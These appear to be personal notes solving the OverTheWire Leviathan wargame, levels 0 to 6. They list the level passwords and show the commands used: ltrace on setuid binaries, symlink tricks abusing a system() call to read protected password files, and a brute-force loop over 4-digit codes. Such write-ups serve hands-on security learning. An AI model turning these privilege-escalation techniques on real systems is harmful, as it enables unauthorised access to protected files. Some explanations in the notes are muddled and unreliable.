

ssh -p 2223 leviathan3@leviathan.labs.overthewire.org

Passwords:

Level 0 --> 1: 3QJ3TgzHDq

Level 1 --> 2: NsN1HwFoyN

Level 2 --> 3: f0n8h2iWLP

Level 3 --> 4: WG1egEICvO

Level 4 --> 5: 0dyxT7F4QD

Level 5 --> 6: szo7HDB88w

Level 6 --> 7: qEs5lo5yM8

Level 0:

- grep "password" bookmarks.html

<DT>password to leviathan1

Level 1:

- setuid check
- mktemp -d
- cd /tmp/tmp.VyHlvsFFRN
- ln -s ~/check .
- echo "AA" | ./check --> outputted "Wrong Password. Good Bye..." (indicating I have to put in the password) ==>
- We might find the password as a string in the binary so we use command (strings check)
- Use command (ltrace ./check) and we see:
 - Here, strcmp("userinput", "sex") = -1 means "userinput" does not match "sex" (The Password)
- This seems to work and this gives us a shell (where we are whoami = leviathan2). We can now look for the actual password.
 - Based on the description of the website, all passwords are stored under /etc/leviathan_pass

```
leviathan1@gibson: /tmp/tmp.VyHlvsFFRN$ ./check
password: 
```

Level 2:

- mktemp -d
- cd /tmp/tmp.jrTh7Fw98q
- So ./printfile will literally print files (so let us run the 3 we own lmao)
- ./printfile /etc/leviathan_pass/leviathan3
- access("/etc/leviathan_pass/leviathan3", 4) = -1
- puts("You cant have that file..." "You cant have that file...")
 - access is a system call in Linux --> checks whether process has permission to access a file (it only checks permissions).
- we see that using strace ./printfile /etc/

```
*** File Printer ***
Usage: %s filename
You cant have that file...
/bin/cat %s
```

```
leviathan2@gibson:~$ ls -l /etc/leviathan_pass/leviathan3
-r----- 1 leviathan3 leviathan3 11 Sep 19 07:07 /etc/leviathan_pass/leviathan3
```

```
access("/tmp/new_filename", 4) = 0
```

```
leviathan2@gibson:~$ ltrace ./printfile /tmp/tmp.a3As76l2B4/"test run.txt"
__libc_start_main(0x80490ed, 2, 0xffffd454, 0 <unfinished ...>
access("/tmp/tmp.a3As76l2B4/test run.txt"... , 4) = 0
snprintf("/bin/cat /tmp/tmp.a3As76l2B4/test run.txt"... , 511, "/bin/cat %s", "/tmp/tmp.a3As76l2B4/test run.txt"... ) = 41
getuid() = 12002
setreuid(12002, 12002) = 0
system("/bin/cat /tmp/tmp.a3As76l2B4/test run.txt"... /bin/cat: /tmp/tmp.a3As76l2B4/test: No such file or directory
/bin/cat: run.txt: No such file or directory
<no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 256
+++ exited (status 0) +++
```

```
leviathan2@gibson:~$ ln -s /etc/leviathan_pass/leviathan3 /tmp/tmp.a3As76l2B4/test
leviathan2@gibson:~$ ls -la /tmp/tmp.a3As76l2B4
total 11380
drwxrwxrwt 2 leviathan2 leviathan2 4096 Jan 13 05:10
drwxrwxrwt 6923 root root 11644928 Jan 13 05:10
lrwxrwxrwx 1 leviathan2 leviathan2 30 Jan 13 05:09 leviathan3 -> /etc/leviathan_pass/leviathan3
lrwxrwxrwx 1 leviathan2 leviathan2 30 Jan 13 05:10 test -> /etc/leviathan_pass/leviathan3
-rw-rw-r-- 1 leviathan2 leviathan2 0 Jan 13 05:00 test run.txt
```

- leviathan_pass/leviathan3 --> we notice the code: `access("/etc/leviathan_pass/leviathan3", R_OK) = -1 EACCES (Permission denied)`
- So we have verified that the file does exist, but it needs leviathan3 permission (we only have 2)
 - Let us try creating and running a file (`echo "bark" > /tmp/new_filename`)
 - `./printfile /tmp/new_filename = barks`
 - Now when using `ltrace ./printfile /tmp/new_filename`, we see that the `access` function is called. Notice that the change of user ID is only done later on. Because `result = 0` means the check succeeded (we did have permissions) before we weren't allowed to have permissions.
 - Now lets see what an unexpected input can do --> let us input 2 files:
 - notice, only the first file is printed out.
 - Now let us have a file with a space in the name:
 - `mktemp -d`
 - `touch /tmp/tmp.BykcxJXZxD/"test run.txt"`
 - We have a unique problem now since the `access()` will succeed since the `printfile` program correctly checks the file exists and my permissions (returns 0 = success).
 - However, the program constructs a command to use `/bin/cat` to read the file and passes the entire filename as a string. And because the program uses `system()` to execute the full filename (`/tmp/tmp.BykcxJXZxD/"test run.txt"`) as an argument, the space will cause the `system()` to interpret the string as 2 separate arguments (`/bin/cat /tmp/tmp.a3As76l2B4/test` and `run.txt`).
 - This causes `/bin/cat` to fail, as neither `/tmp/tmp.a3As76l2B4/test` nor `run.txt` exists as separate files.
 - You can exploit this in order to run `/etc/leviathan_pass/leviathan3`
 - Created link to `leviathan3` via "test" so that we can try run "test run.txt" to confuse it
 - `chmod 777 /tmp/tmp.a3As76l2B4`
 - `./printfile /tmp/tmp.a3As76l2B4/"test run.txt"`
 - password = `f0n8h2iWLP`
 - It is called the TOCTOU attack

Level 3:

- `leviathan3@gibson:~$./level3`
- Enter the password> ... `bzzzzzzzzap`. WRONG
- `strcmp` = string compare (it means I am inputting "h0no33") when I'm not? It's very bizarre since they also seem to be doing the `strcmp` before the password prompt.
- In this case, "h0no33" is automatically passed as the first argument without any user interaction.
- Did strings `level3` and noticed some words "secret", "bomb", "You've got shell!"
- So I tried `ltrace ./level3` and inputted `secret` instead and got this:
 - `"secret\n", 256, 0xf7fae5c0) = 0xffffd26c`
 - `strcmp("secret\n", "snlprintf\n") = -1`
 - We now notice the existence of `snlprintf` (we need to determine the significance of `snlprintf`)
 - Now that we are `leviathan4` --> we go `cat /etc/leviathan_pass/leviathan4`

```
leviathan3@gibson:~$ grep "snlprintf" .
grep: .: Is a directory
leviathan3@gibson:~$ grep "snlprintf" ./level3
leviathan3@gibson:~$ ./level3
Enter the password> snlprintf
[You've got shell!]
$ whoami
leviathan4
```

Level 4:

- `./bin (setuid executable) = 00110000 01100100 01111001 01111000 01010100 00110111 01000110 00110100 01010001 01000100 00001010`

- `fopen("/etc/leviathan_pass/leviathan5", "r") = 0`
 - Success (via = 0) so it reads "r" out the contents of `/etc/leviathan_pass/leviathan5`

• Using code:

```
echo 00110000 01100100 01111001 01111000 01010100 00110111 01000110 00110100 01010001
01000100 00001010 | tr ' ' '\n' | while read byte; do
    echo "$((2#$byte))" | awk '{ printf("%c", $1) }'
done
• outputs password = 0dyxT7F4QD
```

```
fopen("/tmp/file.log", "r")
puts("Cannot find /tmp/file.logCannot find /tmp/file.log
)
= 26
exit(-1 <no return ...>
```

Level 5:

- `./leviathan5 --> Cannot find /tmp/file.log` (no such file or directory)
- `strings --> fgetc, puts, exit, setuid, putchar, unlink, fopen, feof, fclose, getuid`
- `cd /tmp/file.log`
- `./leviathan5 /tmp/file.log`
 - Whatever is in the `/tmp/file.log`, it is being read into this executable (which is read back to us)
 - So you can just create a symbolic link `ln -s /etc/leviathan_pass/leviathan6 /tmp/file.log`
 - And then when you run `./leviathan5 /tmp/file.log -->` it will literally just spit out whatever is in `file.log`, which is linked to the `leviathan6` password.

Level 6:

- usage: `./leviathan6 <4 digit code>`
- command injection attacks --> connect series of commands together
- `;` --> semi-colon allows you to chain these different commands together to run an application directly inside of the terminal
- Correct code --> 7123 --> we see it has now put us in another shell
 - `whoami?` --> `leviathan7`
- Therefore, `$ cat /etc/leviathan_pass/leviathan7 = qEs5lo5yM8`

Command:

```
#!/bin/bash
for i in {0000..9999}; do
    echo $i
    ./leviathan6 $i
done
```